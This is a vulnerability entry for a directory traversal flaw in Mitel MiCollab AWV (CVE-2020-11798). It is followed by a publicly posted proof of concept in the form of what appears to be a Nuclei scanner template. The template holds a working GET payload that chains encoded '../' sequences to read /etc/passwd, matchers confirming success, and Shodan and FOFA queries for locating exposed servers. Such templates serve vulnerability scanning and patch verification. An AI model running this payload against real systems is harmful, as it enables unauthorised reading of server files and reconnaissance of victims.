A Directory Traversal vulnerability in the web conference component of Mitel MiCollab AWV before 8.1.2.4 and 9.x before 9.1.3 could allow an attacker to access arbitrary files from restricted directories of the server via a crafted URL, due to insufficient access validation. A successful exploit could allow an attacker to access sensitive information from the restricted directories.
PoC代码[已公开]
id: CVE-2020-11798
info:
name: Mitel MiCollab AWV 8.1.2.4 and 9.1.3 - Directory Traversal
author: ritikchaddha
severity: medium
description: |
A Directory Traversal vulnerability in the web conference component of Mitel MiCollab AWV before 8.1.2.4 and 9.x before 9.1.3 could allow an attacker to access arbitrary files from restricted directories of the server via a crafted URL, due to insufficient access validation. A successful exploit could allow an attacker to access sensitive information from the restricted directories.
impact: |
An attacker can exploit this vulnerability to view, modify, or delete arbitrary files on the system, potentially leading to unauthorized access or data leakage.
remediation: |
Apply the latest security patches or updates provided by Mitel to mitigate the vulnerability and prevent unauthorized access.
reference:
- https://packetstormsecurity.com/files/171751/mma913-traversallfi.txt
- https://nvd.nist.gov/vuln/detail/CVE-2020-11798
- http://packetstormsecurity.com/files/171751/Mitel-MiCollab-AWV-8.1.2.4-9.1.3-Directory-Traversal-LFI.html
- https://www.mitel.com/-/media/mitel/file/pdf/support/security-advisories/security-bulletin-20-0005-01.pdf
- https://www.mitel.com/support/security-advisories/mitel-product-security-advisory-20-0005
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2020-11798
cwe-id: CWE-22
epss-score: 0.85152
epss-percentile: 0.99309
cpe: cpe:2.3:a:mitel:micollab_audio\,_web_\&_video_conferencing:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: mitel
product: micollab_audio\,_web_\&_video_conferencing
shodan-query:
- html:"Mitel" html:"MiCollab"
- http.html:"mitel" html:"micollab"
fofa-query: body="mitel" html:"micollab"
tags: cve,cve2020,packetstorm,mitel,micollab,lfi
http:
- method: GET
path:
- "{{BaseURL}}/awcuser/cgi-bin/vcs_access_file.cgi?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f/etc/passwd"
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: word
part: header
words:
- application/x-download
- filename=passwd
condition: and
- type: status
status:
- 200
# digest: 4a0a00473045022079e9e120525b3237564dfad6fd8470883bab948739fdd53b6f2d590d910a1b78022100a9d2549755ed001e887846e43999fb09dc07d3a89ac40db712e25903ff7871fc:922c64590222798bb761d5b6d8e72950